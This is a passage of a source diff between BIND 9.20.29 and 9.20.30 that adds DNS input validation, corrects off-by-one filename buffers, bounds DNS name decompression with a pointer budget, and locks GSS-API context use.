+ REQUIRE(key != NULL); + REQUIRE(*key == NULL); REQUIRE(rdata->type == dns_rdatatype_key || rdata->type == dns_rdatatype_dnskey); + /* + * Extract the algorithm from the raw data to perform validation before + * actually converting it to a key. Expecting at least 4 bytes: flags + * (2b), protocol (1b), algorithm (1b). + */ + if (rdata->length < 4) { + return DST_R_INVALIDPUBLICKEY; + } + const unsigned int alg = rdata->data[3]; + + switch (rdata->type) { + case dns_rdatatype_dnskey: + /* + * Reject non DNSSEC code points (includes appropriated + * code points). + */ + if (!dst_dnssec_algorithm(alg)) { + return DST_R_UNSUPPORTEDALG; + } + break; + case dns_rdatatype_key: + /* + * Reject non SIG(0) code points (includes appropriated + * code points). + */ + if (alg == DST_ALG_DH || + (alg >= DST_ALG_HMAC_FIRST && alg <= DST_ALG_HMAC_LAST)) + { + return DST_R_UNSUPPORTEDALG; + } + break; + default: + UNREACHABLE(); + } + dns_rdata_toregion(rdata, &r); isc_buffer_init(&b, r.base, r.length); isc_buffer_add(&b, r.length); @@ -1580,6 +1615,15 @@ rdata.type == dns_rdatatype_dnskey); REQUIRE(rdata.length > 3); + /* + * + * Reject non DNSSEC code points (includes appropriated code + * points). + */ + if (!dst_dnssec_algorithm(rdata.data[3])) { + goto skip; + } + /* Skip unsupported algorithms */ if (!dst_algorithm_supported(rdata.data[3])) { goto skip; @@ -1656,7 +1700,7 @@ isc_result_t result2; isc_buffer_t buf; - isc_buffer_init(&buf, filename, NAME_MAX); + isc_buffer_init(&buf, filename, sizeof(filename)); result2 = dst_key_getfilename( dst_key_name(dnskey), dst_key_id(dnskey), dst_key_alg(dnskey), diff -Nru bind9-9.20.29/lib/dns/dst_api.c bind9-9.20.30/lib/dns/dst_api.c --- bind9-9.20.29/lib/dns/dst_api.c 2026-09-11 19:41:01.497330902 +0000 +++ bind9-9.20.30/lib/dns/dst_api.c 2026-10-12 13:12:08.410899976 +0000 @@ -273,6 +273,18 @@ } bool +dst_dnssec_algorithm(unsigned int alg) { + if ((alg == DST_ALG_DH) || (alg == DST_ALG_INDIRECT) || + (alg == DST_ALG_GSSAPI) || + (alg >= DST_ALG_HMAC_FIRST && alg <= DST_ALG_HMAC_LAST)) + { + return false; + } + + return true; +} + +bool dst_ds_digest_supported(unsigned int digest_type) { return digest_type == DNS_DSDIGEST_SHA1 || digest_type == DNS_DSDIGEST_SHA256 || @@ -529,7 +541,7 @@ dst_key_fromfile(dns_name_t *name, dns_keytag_t id, unsigned int alg, int type, const char *directory, isc_mem_t *mctx, dst_key_t **keyp) { isc_result_t result; - char filename[NAME_MAX]; + char filename[NAME_MAX + 1]; isc_buffer_t buf; dst_key_t *key; @@ -543,7 +555,7 @@ key = NULL; - isc_buffer_init(&buf, filename, NAME_MAX); + isc_buffer_init(&buf, filename, sizeof(filename)); CHECK(dst_key_getfilename(name, id, alg, type, NULL, mctx, &buf)); CHECK(dst_key_fromnamedfile(filename, directory, type, mctx, &key)); CHECK(computeid(key)); @@ -1991,8 +2003,8 @@ FILE *fp; isc_buffer_t fileb; isc_buffer_t tmpb; - char filename[NAME_MAX]; - char tmpname[NAME_MAX]; + char filename[NAME_MAX + 1]; + char tmpname[NAME_MAX + 1]; isc_result_t result; REQUIRE(VALID_KEY(key)); @@ -2080,8 +2092,8 @@ FILE *fp; isc_buffer_t keyb, tmpb, textb, fileb, classb; isc_region_t r; - char tmpname[NAME_MAX]; - char filename[NAME_MAX]; + char tmpname[NAME_MAX + 1]; + char filename[NAME_MAX + 1]; unsigned char key_array[DST_KEY_MAXSIZE]; char text_array[DST_KEY_MAXTEXTSIZE]; char class_array[10]; @@ -2262,14 +2274,11 @@ REQUIRE(mctx != NULL); REQUIRE(keyp != NULL && *keyp == NULL); + RETERR(algorithm_status(alg)); + key = get_key_struct(name, alg, flags, protocol, 0, rdclass, 0, mctx); if (isc_buffer_remaininglength(source) > 0) { - result = algorithm_status(alg); - if (result != ISC_R_SUCCESS) { - dst_key_free(&key); - return result; - } if (key->func->fromdns == NULL) { dst_key_free(&key); return DST_R_UNSUPPORTEDALG; diff -Nru bind9-9.20.29/lib/dns/dst_parse.c bind9-9.20.30/lib/dns/dst_parse.c --- bind9-9.20.29/lib/dns/dst_parse.c 2026-09-11 19:41:01.498330926 +0000 +++ bind9-9.20.30/lib/dns/dst_parse.c 2026-10-12 13:12:08.411899997 +0000 @@ -594,8 +594,8 @@ const char *directory) { FILE *fp; isc_result_t result; - char filename[NAME_MAX]; - char tmpname[NAME_MAX]; + char filename[NAME_MAX + 1]; + char tmpname[NAME_MAX + 1]; char buffer[MAXFIELDSIZE * 2]; isc_stdtime_t when; uint32_t value; diff -Nru bind9-9.20.29/lib/dns/geoip2.c bind9-9.20.30/lib/dns/geoip2.c --- bind9-9.20.29/lib/dns/geoip2.c 2026-09-11 19:41:01.498330926 +0000 +++ bind9-9.20.30/lib/dns/geoip2.c 2026-10-12 13:12:08.411899997 +0000 @@ -351,9 +351,11 @@ "autonomous_system_number", (char *)0); if (ret == MMDB_SUCCESS) { int i; + const char *tail; s = elt->as_string; - if (strncasecmp(s, "AS", 2) == 0) { - s += 2; + tail = isc_string_casestripprefix(s, "AS"); + if (tail != NULL) { + s = tail; } i = strtol(s, NULL, 10); return match_int(&value, i); diff -Nru bind9-9.20.29/lib/dns/gssapi_link.c bind9-9.20.30/lib/dns/gssapi_link.c --- bind9-9.20.29/lib/dns/gssapi_link.c 2026-09-11 19:41:01.499330949 +0000 +++ bind9-9.20.30/lib/dns/gssapi_link.c 2026-10-12 13:12:08.412900018 +0000 @@ -30,6 +30,7 @@ #include #include #include +#include #include #include #include @@ -136,7 +137,6 @@ isc_region_t message; gss_buffer_desc gmessage, gsig; OM_uint32 minor, gret; - gss_ctx_id_t gssctx = dctx->key->keydata.gssctx; char buf[1024]; /* @@ -149,7 +149,10 @@ /* * Generate the signature. */ - gret = gss_get_mic(&minor, gssctx, GSS_C_QOP_DEFAULT, &gmessage, &gsig); + LOCK(&dctx->key->mdlock); + gret = gss_get_mic(&minor, dctx->key->keydata.gssctx, GSS_C_QOP_DEFAULT, + &gmessage, &gsig); + UNLOCK(&dctx->key->mdlock); /* * If it did not complete, we log the result and return a generic @@ -191,7 +194,6 @@ isc_region_t message; gss_buffer_desc gmessage, gsig; OM_uint32 minor, gret; - gss_ctx_id_t gssctx = dctx->key->keydata.gssctx; char err[1024]; /* @@ -205,7 +207,10 @@ /* * Verify the data. */ - gret = gss_verify_mic(&minor, gssctx, &gmessage, &gsig, NULL); + LOCK(&dctx->key->mdlock); + gret = gss_verify_mic(&minor, dctx->key->keydata.gssctx, &gmessage, + &gsig, NULL); + UNLOCK(&dctx->key->mdlock); /* * Convert return codes into something useful to us. @@ -307,14 +312,18 @@ isc_region_t r; isc_result_t result; + /* + * Export invalidates the context. + */ + LOCK(&key->mdlock); major = gss_export_sec_context( &minor, (gss_ctx_id_t *)&key->keydata.gssctx, &gssbuffer); + UNLOCK(&key->mdlock); if (major != GSS_S_COMPLETE) { - fprintf(stderr, "gss_export_sec_context -> %u, %u\n", major, - minor); return ISC_R_FAILURE; } if (gssbuffer.length == 0U) { + gss_release_buffer(&minor, &gssbuffer); return ISC_R_FAILURE; } len = ((gssbuffer.length + 2) / 3) * 4; diff -Nru bind9-9.20.29/lib/dns/include/dns/compress.h bind9-9.20.30/lib/dns/include/dns/compress.h --- bind9-9.20.29/lib/dns/include/dns/compress.h 2026-09-11 19:41:01.500330973 +0000 +++ bind9-9.20.30/lib/dns/include/dns/compress.h 2026-10-12 13:12:08.414900061 +0000 @@ -102,13 +102,22 @@ /* * Deompression context */ -enum dns_decompress { +typedef enum dns_decompress_policy { DNS_DECOMPRESS_DEFAULT, DNS_DECOMPRESS_PERMITTED, - DNS_DECOMPRESS_NEVER, DNS_DECOMPRESS_ALWAYS, +} dns_decompress_policy_t; + +struct dns_decompress { + uint32_t budget; + dns_decompress_policy_t policy; }; +#define DNS_DECOMPRESS_INITIALIZER \ + (dns_decompress_t) { \ + .policy = DNS_DECOMPRESS_DEFAULT, .budget = UINT32_MAX \ + } + void dns_compress_init(dns_compress_t *cctx, isc_mem_t *mctx, dns_compress_flags_t flags); @@ -206,27 +215,66 @@ *\li 'cctx' is initialized. */ +static inline void +dns_decompress_init(dns_decompress_t *dctx) { + REQUIRE(dctx != NULL); + + *dctx = DNS_DECOMPRESS_INITIALIZER; +} + /*% * Set whether decompression is allowed, according to RFC 3597 */ -static inline dns_decompress_t /* inline to suppress code generation */ -dns_decompress_setpermitted(dns_decompress_t dctx, bool permitted) { - if (dctx == DNS_DECOMPRESS_NEVER || dctx == DNS_DECOMPRESS_ALWAYS) { - return dctx; - } else if (permitted) { - return DNS_DECOMPRESS_PERMITTED; +static inline void +dns_decompress_setpermitted(dns_decompress_t *dctx, bool permitted) { + if (dctx == NULL) { /* former DNS_DECOMPRESS_NEVER */ + return; + } + if (dctx->policy == DNS_DECOMPRESS_ALWAYS) { + return; + } + + if (permitted) { + dctx->policy = DNS_DECOMPRESS_PERMITTED; } else { - return DNS_DECOMPRESS_DEFAULT; + dctx->policy = DNS_DECOMPRESS_DEFAULT; } } /*% * Returns whether decompression is allowed here */ -static inline bool /* inline to suppress code generation */ -dns_decompress_getpermitted(dns_decompress_t dctx) { - return dctx == DNS_DECOMPRESS_ALWAYS || - dctx == DNS_DECOMPRESS_PERMITTED; +static inline bool +dns_decompress_getpermitted(const dns_decompress_t *dctx) { + if (dctx == NULL) { + return false; + } + + return dctx->policy == DNS_DECOMPRESS_ALWAYS || + dctx->policy == DNS_DECOMPRESS_PERMITTED; +} + +static inline void +dns_decompress_setbudget(dns_decompress_t *dctx, uint32_t budget) { + REQUIRE(dctx != NULL); + + dctx->budget = budget; +} + +static inline uint32_t +dns_decompress_getbudget(const dns_decompress_t *dctx) { + REQUIRE(dctx != NULL); + + return dctx->budget; +} + +static inline bool +dns_decompress_consume(dns_decompress_t *dctx) { + if (dctx == NULL || dctx->budget == 0) { + return false; + } + dctx->budget--; + return true; } ISC_LANG_ENDDECLS diff -Nru bind9-9.20.29/lib/dns/include/dns/diff.h bind9-9.20.30/lib/dns/include/dns/diff.h --- bind9-9.20.29/lib/dns/include/dns/diff.h 2026-09-11 19:41:01.501330997 +0000 +++ bind9-9.20.30/lib/dns/include/dns/diff.h 2026-10-12 13:12:08.414900061 +0000 @@ -194,6 +194,47 @@ * \li The tuple has been freed, or will be freed when the diff is cleared. */ +void +dns_diff_prepend(dns_diff_t *diff, dns_difftuple_t **tuple); +/*%< + * Prepend a single tuple to a diff. + * + * Requires: + * \li 'diff' is a valid diff. + * \li '*tuple' is a valid tuple. + * + * Ensures: + * \li *tuple is NULL. + * \li The tuple has been freed, or will be freed when the diff is cleared. + */ + +void +dns_diff_appendlist(dns_diff_t *dst, dns_diff_t *src); +/*%< + * Move all tuples from 'src' to the end of 'dst'. + * + * Requires: + * \li 'dst' is a valid diff. + * \li 'src' is a valid diff. + * \li 'dst' != 'src'. + * + * Ensures: + * \li 'src' is empty. + */ + +void +dns_diff_unlink(dns_diff_t *diff, dns_difftuple_t *tuple); +/*%< + * Unlink a single tuple from a diff without freeing it. + * + * Requires: + * \li 'diff' is a valid diff. + * \li 'tuple' is a valid tuple in 'diff'. + * + * Ensures: + * \li The caller owns 'tuple'. + */ + size_t dns_diff_size(const dns_diff_t *diff); /*%< @@ -211,6 +252,7 @@ * * Requires: *\li 'diff' is a minimal diff. + *\li '*tuple' is a valid tuple. * * Ensures: *\li 'diff' is still a minimal diff. @@ -309,4 +351,20 @@ *\li any error from dns_rdataset_totext() */ +isc_result_t +dns_diff_applytuple(dns_difftuple_t **tuplep, dns_db_t *db, + dns_dbversion_t *ver, dns_diff_t *diff); +/*%< + * Apply the tuple (*tuplep) to the database (db) using version (ver) and if + * successful save to 'diff' or it is freed. + * + * Requires: + *\li 'tuplep' to be non NULL and '*tuplep' to be a valid tuple. + *\li 'db' to be a valid database. + *\li 'diff' to be a valid diff. + * + * Ensures: + *\li '*tuplep' is NULL. + */ + ISC_LANG_ENDDECLS diff -Nru bind9-9.20.29/lib/dns/include/dns/message.h bind9-9.20.30/lib/dns/include/dns/message.h --- bind9-9.20.29/lib/dns/include/dns/message.h 2026-09-11 19:41:01.504331069 +0000 +++ bind9-9.20.30/lib/dns/include/dns/message.h 2026-10-12 13:12:08.418900147 +0000 @@ -269,6 +269,13 @@ unsigned int sig_reserved; unsigned int reserved; /* reserved space (render) */ + /* + * Compression pointers this message may still make us follow while + * it is being parsed, shared by every name in it. See + * DNS_MESSAGE_MAXHOPSPERBYTE. + */ + dns_decompress_t dctx; + uint16_t padding; unsigned int padding_off; diff -Nru bind9-9.20.29/lib/dns/include/dns/name.h bind9-9.20.30/lib/dns/include/dns/name.h --- bind9-9.20.29/lib/dns/include/dns/name.h 2026-09-11 19:41:01.504331069 +0000 +++ bind9-9.20.30/lib/dns/include/dns/name.h 2026-10-12 13:12:08.418900147 +0000 @@ -202,6 +202,42 @@ #define DNS_NAME_MAXLABELS 128 #define DNS_NAME_LABELLEN 63 +/*% + * The most compression pointers dns_name_fromwire() will follow while + * decompressing one name. + * + * RFC 1035 requires only that a pointer refer to an earlier occurrence of + * the name. That makes decompression terminate, but it does not bound the + * work: a pointer that refers to another pointer contributes no octets, so + * the 255 octet limit never constrains how many of them may be chained. + * + * A conforming encoder emits a pointer only in place of a suffix that has + * already occurred, so each pointer it emits is preceded by at least one + * label, and a name needs no more pointers than it has labels. Our own + * encoder obeys this: insert_label() in compress.c only ever records an + * offset that refers to a label, never to a pointer. Do not lower this + * below DNS_NAME_MAXLABELS - doing so rejects conforming names, which is + * why the 16 pointer limit we used to have was removed in 2006. + */ +#define DNS_NAME_MAXHOPS DNS_NAME_MAXLABELS + +/*% + * The most compression pointers dns_name_fromwire() will follow one + * immediately after another, without an intervening label. + * + * Nothing in a message needs a pointer to refer to another pointer: the + * encoder could have written the second pointer's target directly. Some + * do it anyway - Microsoft's servers give a CNAME target's owner name as + * a pointer to the target, which may itself be a pointer - so a small + * number are tolerated rather than none. Captured traffic here never + * exceeds one in a row. + * + * This does not subsume DNS_NAME_MAXHOPS. A chain that spends a label on + * every hop resets this count at each one while still following as many + * pointers as the name has labels. + */ +#define DNS_NAME_MAXINDIRECTS 2 + typedef unsigned char dns_offsets_t[DNS_NAME_MAXLABELS]; /* @@ -727,8 +763,8 @@ */ isc_result_t -dns_name_fromwire(dns_name_t *name, isc_buffer_t *source, dns_decompress_t dctx, - isc_buffer_t *target); +dns_name_fromwire(dns_name_t *name, isc_buffer_t *source, + dns_decompress_t *dctx, isc_buffer_t *target); /*%< * Copy the possibly-compressed name at source (active region) into target, * decompressing it. @@ -754,7 +790,8 @@ * \li 'target' is a valid buffer or 'target' is NULL and 'name' has * a dedicated buffer. * - * \li 'dctx' is a valid decompression context. + * \li 'dctx' is a valid decompression context, or NULL, in which case + * any compression pointer is rejected with DNS_R_DISALLOWED. * * \li DNS_NAME_DOWNCASE is not set. * diff -Nru bind9-9.20.29/lib/dns/include/dns/rdata.h bind9-9.20.30/lib/dns/include/dns/rdata.h --- bind9-9.20.29/lib/dns/include/dns/rdata.h 2026-09-11 19:41:01.506331117 +0000 +++ bind9-9.20.30/lib/dns/include/dns/rdata.h 2026-10-12 13:12:08.420900189 +0000 @@ -282,7 +282,7 @@ isc_result_t dns_rdata_fromwire(dns_rdata_t *rdata, dns_rdataclass_t rdclass, dns_rdatatype_t type, isc_buffer_t *source, - dns_decompress_t dctx, isc_buffer_t *target); + dns_decompress_t *dctx, isc_buffer_t *target); /*%< * Copy the possibly-compressed rdata at source into the target region. * @@ -298,7 +298,9 @@ * *\li 'target' is a valid buffer. * - *\li 'dctx' is a valid decompression context. + *\li 'dctx' is a valid decompression context, or NULL, in which case + * any compression pointer in the rdata is rejected with + * DNS_R_DISALLOWED. * * Ensures, * if result is success: diff -Nru bind9-9.20.29/lib/dns/include/dns/tsig.h bind9-9.20.30/lib/dns/include/dns/tsig.h --- bind9-9.20.29/lib/dns/include/dns/tsig.h 2026-09-11 19:41:01.508331165 +0000 +++ bind9-9.20.30/lib/dns/include/dns/tsig.h 2026-10-12 13:12:08.423900254 +0000 @@ -282,13 +282,34 @@ *\li Any other value indicates failure. */ +#if DNS_TSIG_TRACE +#define dns_tsigkeyring_dumpanddetach(ringp, keyfile) \ + dns_tsigkeyring__dumpanddetach(ringp, keyfile, __func__, __FILE__, \ + __LINE__) isc_result_t -dns_tsigkeyring_dump(dns_tsigkeyring_t *ring, FILE *fp); +dns_tsigkeyring__dumpanddetach(dns_tsigkeyring_t **ringp, const char *keyfile, + const char *func, const char *file, + const unsigned int line); +#else +isc_result_t +dns_tsigkeyring_dumpanddetach(dns_tsigkeyring_t **ringp, const char *keyfile); +#endif /*%< - * Dump a TSIG key ring to 'fp'. + * Dump a TSIG key ring to file named 'keyfile'. + * + * The caller's reference is always released and '*ringp' is set to + * NULL, whatever the result. Only the final owner writes 'keyfile'; + * any other caller gets #DNS_R_CONTINUE and writes nothing, because + * dumping a GSS key consumes its security context. * * Requires: - *\li 'ring' is a valid keyring. + *\li '*ringp' is a valid keyring. + * + * Returns: + *\li #ISC_R_SUCCESS if at least one key was written. + *\li #ISC_R_NOTFOUND if no keys could be written. + *\li #ISC_R_IOERROR on a write error. + *\li #DNS_R_CONTINUE if we continue to use the keyring. */ void diff -Nru bind9-9.20.29/lib/dns/include/dns/types.h bind9-9.20.30/lib/dns/include/dns/types.h --- bind9-9.20.29/lib/dns/include/dns/types.h 2026-09-11 19:41:01.509331189 +0000 +++ bind9-9.20.30/lib/dns/include/dns/types.h 2026-10-12 13:12:08.424900275 +0000 @@ -69,7 +69,7 @@ typedef ISC_LIST(dns_dlzdb_t) dns_dlzdblist_t; typedef struct dns_dyndbctx dns_dyndbctx_t; typedef struct dns_sdlzimplementation dns_sdlzimplementation_t; -typedef enum dns_decompress dns_decompress_t; +typedef struct dns_decompress dns_decompress_t; typedef struct dns_dispatch dns_dispatch_t; typedef struct dns_dispatchlist dns_dispatchlist_t; typedef struct dns_dispatchset dns_dispatchset_t; diff -Nru bind9-9.20.29/lib/dns/include/dst/dst.h bind9-9.20.30/lib/dns/include/dst/dst.h --- bind9-9.20.29/lib/dns/include/dst/dst.h 2026-09-11 19:41:01.510331213 +0000 +++ bind9-9.20.30/lib/dns/include/dst/dst.h 2026-10-12 13:12:08.425900296 +0000 @@ -245,6 +245,16 @@ */ bool +dst_dnssec_algorithm(unsigned int alg); +/*%< + * Can this DST algorithm be use for DNSSEC validation. + * + * Returns: + * \li true + * \li false + */ + +bool dst_ds_digest_supported(unsigned int digest_type); /*%< * Checks that a given digest algorithm is supported by DST. diff -Nru bind9-9.20.29/lib/dns/journal.c bind9-9.20.30/lib/dns/journal.c --- bind9-9.20.29/lib/dns/journal.c 2026-09-11 19:41:01.511331237 +0000 +++ bind9-9.20.30/lib/dns/journal.c 2026-10-12 13:12:08.426900318 +0000 @@ -335,7 +335,6 @@ uint32_t current_serial; /*%< Current SOA serial */ isc_buffer_t source; /*%< Data from disk */ isc_buffer_t target; /*%< Data from _fromwire check */ - dns_decompress_t dctx; /*%< Dummy decompression ctx */ dns_name_t name; /*%< Current domain name */ dns_rdata_t rdata; /*%< Current rdata */ uint32_t ttl; /*%< Current TTL */ @@ -719,7 +718,6 @@ */ isc_buffer_init(&j->it.source, NULL, 0); isc_buffer_init(&j->it.target, NULL, 0); - j->it.dctx = DNS_DECOMPRESS_NEVER; j->state = writable ? JOURNAL_STATE_WRITE : JOURNAL_STATE_READ; @@ -1616,6 +1614,7 @@ unsigned int n_soa = 0; unsigned int n_put = 0; bool printxhdr = ((flags & DNS_JOURNAL_PRINTXHDR) != 0); + uint32_t i; REQUIRE(filename != NULL); @@ -1636,7 +1635,7 @@ fprintf(file, "Start serial = %u\n", j->header.begin.serial); fprintf(file, "End serial = %u\n", j->header.end.serial); fprintf(file, "Index (size = %u):\n", j->header.index_size); - for (uint32_t i = 0; i < j->header.index_size; i++) { + for (i = 0; i < j->header.index_size; i++) { if (j->index[i].offset == 0) { fputc('\n', file); break; @@ -1663,13 +1662,13 @@ CHECK(dns_journal_iter_init(j, start_serial, end_serial, NULL)); + i = 0; for (result = dns_journal_first_rr(j); result == ISC_R_SUCCESS; result = dns_journal_next_rr(j)) { dns_name_t *name = NULL; dns_rdata_t *rdata = NULL; dns_difftuple_t *tuple = NULL; - static uint32_t i = 0; bool print = false; uint32_t ttl; @@ -1699,13 +1698,17 @@ j->xhdr_version, (long long)j->it.cpos.offset, j->curxhdr.size, j->curxhdr.count, j->curxhdr.serial0, j->curxhdr.serial1); - if (j->it.cpos.offset > j->index[i].offset) { - fprintf(file, - "ERROR: Offset mismatch, " - "expected %lld\n", - (long long)j->index[i].offset); - } else if (j->it.cpos.offset == j->index[i].offset) { - i++; + if (j->index != NULL && i < j->header.index_size) { + if (j->it.cpos.offset > j->index[i].offset) { + fprintf(file, + "ERROR: Offset mismatch, " + "expected %lld\n", + (long long)j->index[i].offset); + } else if (j->it.cpos.offset == + j->index[i].offset) + { + i++; + } } } CHECK(dns_difftuple_create( @@ -2017,7 +2020,7 @@ */ isc_buffer_setactive(&j->it.source, j->it.source.used - j->it.source.current); - CHECK(dns_name_fromwire(&j->it.name, &j->it.source, j->it.dctx, + CHECK(dns_name_fromwire(&j->it.name, &j->it.source, NULL, &j->it.target)); /* @@ -2049,7 +2052,7 @@ isc_buffer_setactive(&j->it.source, rdlen); dns_rdata_reset(&j->it.rdata); CHECK(dns_rdata_fromwire(&j->it.rdata, rdclass, rdtype, &j->it.source, - j->it.dctx, &j->it.target)); + NULL, &j->it.target)); j->it.ttl = ttl; j->it.xpos += sizeof(journal_rawrrhdr_t) + rrhdr.size; @@ -2180,7 +2183,7 @@ static isc_result_t dns_diff_subtract(dns_diff_t diff[2], dns_diff_t *r) { isc_result_t result; - dns_difftuple_t *p[2]; + dns_difftuple_t *p[2], *tuple, *next; int i, t; bool append; dns_difftuplelist_t add, del; @@ -2200,19 +2203,19 @@ for (i = 0; i < 2; i++) { if (p[!i] == NULL) { dns_difftuplelist_t *l = (i == 0) ? &add : &del; - ISC_LIST_UNLINK(diff[i].tuples, p[i], link); + dns_diff_unlink(&diff[i], p[i]); ISC_LIST_APPEND(*l, p[i], link); goto next; } } t = rdata_order(&p[0], &p[1]); if (t < 0) { - ISC_LIST_UNLINK(diff[0].tuples, p[0], link); + dns_diff_unlink(&diff[0], p[0]); ISC_LIST_APPEND(add, p[0], link); goto next; } if (t > 0) { - ISC_LIST_UNLINK(diff[1].tuples, p[1], link); + dns_diff_unlink(&diff[1], p[1]); ISC_LIST_APPEND(del, p[1], link); goto next; } @@ -2223,7 +2226,7 @@ */ append = (p[0]->ttl != p[1]->ttl); for (i = 0; i < 2; i++) { - ISC_LIST_UNLINK(diff[i].tuples, p[i], link); + dns_diff_unlink(&diff[i], p[i]); if (append) { dns_difftuplelist_t *l = (i == 0) ? &add : &del; ISC_LIST_APPEND(*l, p[i], link); @@ -2233,8 +2236,14 @@ } next:; } - ISC_LIST_APPENDLIST(r->tuples, del, link); - ISC_LIST_APPENDLIST(r->tuples, add, link); + ISC_LIST_FOREACH_SAFE(del, tuple, link, next) { + ISC_LIST_UNLINK(del, tuple, link); + dns_diff_append(r, &tuple); + } + ISC_LIST_FOREACH_SAFE(add, tuple, link, next) { + ISC_LIST_UNLINK(add, tuple, link); + dns_diff_append(r, &tuple); + } result = ISC_R_SUCCESS; cleanup: return result; @@ -2296,9 +2305,7 @@ for (i = 0; i < 2; i++) { if (!have[!i]) { - ISC_LIST_APPENDLIST(resultdiff->tuples, - diff[i].tuples, link); - INSIST(ISC_LIST_EMPTY(diff[i].tuples)); + dns_diff_appendlist(resultdiff, &diff[i]); have[i] = false; goto next; } @@ -2307,16 +2314,12 @@ t = dns_name_compare(dns_fixedname_name(&fixname[0]), dns_fixedname_name(&fixname[1])); if (t < 0) { - ISC_LIST_APPENDLIST(resultdiff->tuples, diff[0].tuples, - link); - INSIST(ISC_LIST_EMPTY(diff[0].tuples)); + dns_diff_appendlist(resultdiff, &diff[0]); have[0] = false; continue; } if (t > 0) { - ISC_LIST_APPENDLIST(resultdiff->tuples, diff[1].tuples, - link); - INSIST(ISC_LIST_EMPTY(diff[1].tuples)); + dns_diff_appendlist(resultdiff, &diff[1]); have[1] = false; continue; } diff -Nru bind9-9.20.29/lib/dns/keymgr.c bind9-9.20.30/lib/dns/keymgr.c --- bind9-9.20.29/lib/dns/keymgr.c 2026-09-11 19:41:01.511331237 +0000 +++ bind9-9.20.30/lib/dns/keymgr.c 2026-10-12 13:12:08.427900339 +0000 @@ -2125,7 +2125,7 @@ keymgr_purge_keyfile(dst_key_t *key, int type) { isc_result_t ret; isc_buffer_t fileb; - char filename[NAME_MAX]; + char filename[NAME_MAX + 1]; /* * Make the filename. @@ -2919,17 +2919,18 @@ /* Determine key states from the metadata. */ if (active <= now) { - dns_ttl_t ttlsig = dns_kasp_zonemaxttl(kasp, true); - ttlsig += dns_kasp_zonepropagationdelay(kasp); - if ((active + ttlsig) <= now) { + dns_ttl_t sigdelay = dns_kasp_zonemaxttl(kasp, true); + sigdelay += dns_kasp_zonepropagationdelay(kasp); + sigdelay += dns_kasp_retiresafety(kasp); + sigdelay += dns_kasp_signdelay(kasp); + if ((active + sigdelay) <= now) { zrrsig_state = OMNIPRESENT; } else { zrrsig_state = RUMOURED; (void)dst_key_gettime(dkey->key, DST_TIME_ZRRSIG, &lastchange); - nextchange = lastchange + ttlsig + - dns_kasp_retiresafety(kasp); + nextchange = lastchange + sigdelay; } goal_state = OMNIPRESENT; } @@ -2951,17 +2952,18 @@ } if (inactive > 0 && inactive <= now) { - dns_ttl_t ttlsig = dns_kasp_zonemaxttl(kasp, true); - ttlsig += dns_kasp_zonepropagationdelay(kasp); - if ((inactive + ttlsig) <= now) { + dns_ttl_t sigdelay = dns_kasp_zonemaxttl(kasp, true); + sigdelay += dns_kasp_zonepropagationdelay(kasp); + sigdelay += dns_kasp_retiresafety(kasp); + sigdelay += dns_kasp_signdelay(kasp); + if ((inactive + sigdelay) <= now) { zrrsig_state = HIDDEN; } else { zrrsig_state = UNRETENTIVE; (void)dst_key_gettime(dkey->key, DST_TIME_ZRRSIG, &lastchange); - nextchange = lastchange + ttlsig + - dns_kasp_retiresafety(kasp); + nextchange = lastchange + sigdelay; } goal_state = HIDDEN; } diff -Nru bind9-9.20.29/lib/dns/keystore.c bind9-9.20.30/lib/dns/keystore.c --- bind9-9.20.29/lib/dns/keystore.c 2026-09-11 19:41:01.512331261 +0000 +++ bind9-9.20.30/lib/dns/keystore.c 2026-10-12 13:12:08.427900339 +0000 @@ -219,7 +219,7 @@ * could create a new function to convert a name to PKCS#11 * text, but this existing function will suffice. */ - char label[NAME_MAX]; + char label[NAME_MAX + 1]; isc_buffer_t buf; isc_buffer_init(&buf, label, sizeof(label)); result = buildpkcs11label(uri, origin, policy, flags, &buf); diff -Nru bind9-9.20.29/lib/dns/master.c bind9-9.20.30/lib/dns/master.c --- bind9-9.20.29/lib/dns/master.c 2026-09-11 19:41:01.512331261 +0000 +++ bind9-9.20.30/lib/dns/master.c 2026-10-12 13:12:08.428900360 +0000 @@ -245,7 +245,8 @@ goto log_and_cleanup; \ } \ if ((token)->type == isc_tokentype_special || \ - (token)->type == isc_tokentype_unknown) \ + (token)->type == isc_tokentype_unknown || \ + isc_token_hasnul(token)) \ { \ result = DNS_R_SYNTAX; \ if (MANYERRS(lctx, result)) { \ @@ -1367,7 +1368,8 @@ } EXPECTEOL; continue; - } else if (strncasecmp(DNS_AS_STR(token), "$", 1) == 0) + } else if (isc_string_casehasprefix(DNS_AS_STR(token), + "$")) { (callbacks->error)(callbacks, "%s: %s:%lu: " @@ -2347,10 +2349,8 @@ int target_size = TSIZ; isc_buffer_t target, buf; unsigned char *target_mem = NULL; - dns_decompress_t dctx; callbacks = lctx->callbacks; - dctx = DNS_DECOMPRESS_NEVER; if (lctx->first) { result = load_header(lctx); @@ -2485,7 +2485,7 @@ } isc_buffer_setactive(&target, (unsigned int)namelen); - result = dns_name_fromwire(name, &target, dctx, NULL); + result = dns_name_fromwire(name, &target, NULL, NULL); if (result != ISC_R_SUCCESS) { goto cleanup; } @@ -2523,7 +2523,8 @@ dns_rdata_init(&rdata[i]); if (sequential_read && - isc_buffer_availablelength(&target) < MINTSIZ) + isc_buffer_availablelength(&target) < + sizeof(uint16_t) + MINTSIZ) { unsigned int j; @@ -2558,6 +2559,9 @@ goto cleanup; } rdlen = isc_buffer_getuint16(&target); + if (rdlen > MINTSIZ) { + CLEANUP(ISC_R_RANGE); + } /* rdata */ result = read_and_check(sequential_read, &target, rdlen, @@ -2569,14 +2573,14 @@ /* * It is safe to have the source active region and * the target available region be the same if - * decompression is disabled (see dctx above) and we + * decompression is disabled (NULL context) and we * are not downcasing names (options == 0). */ isc_buffer_init(&buf, isc_buffer_current(&target), (unsigned int)rdlen); result = dns_rdata_fromwire( &rdata[i], rdatalist.rdclass, rdatalist.type, - &target, dctx, &buf); + &target, NULL, &buf); if (result != ISC_R_SUCCESS) { goto cleanup; } diff -Nru bind9-9.20.29/lib/dns/masterdump.c bind9-9.20.30/lib/dns/masterdump.c --- bind9-9.20.29/lib/dns/masterdump.c 2026-09-11 19:41:01.512331261 +0000 +++ bind9-9.20.30/lib/dns/masterdump.c 2026-10-12 13:12:08.428900360 +0000 @@ -1474,7 +1474,8 @@ } if (result == ISC_R_SUCCESS) { result = isc_file_rename(temp, file); - } else { + } + if (result != ISC_R_SUCCESS) { (void)isc_file_remove(temp); } if (result != ISC_R_SUCCESS && logit) { diff -Nru bind9-9.20.29/lib/dns/message.c bind9-9.20.30/lib/dns/message.c 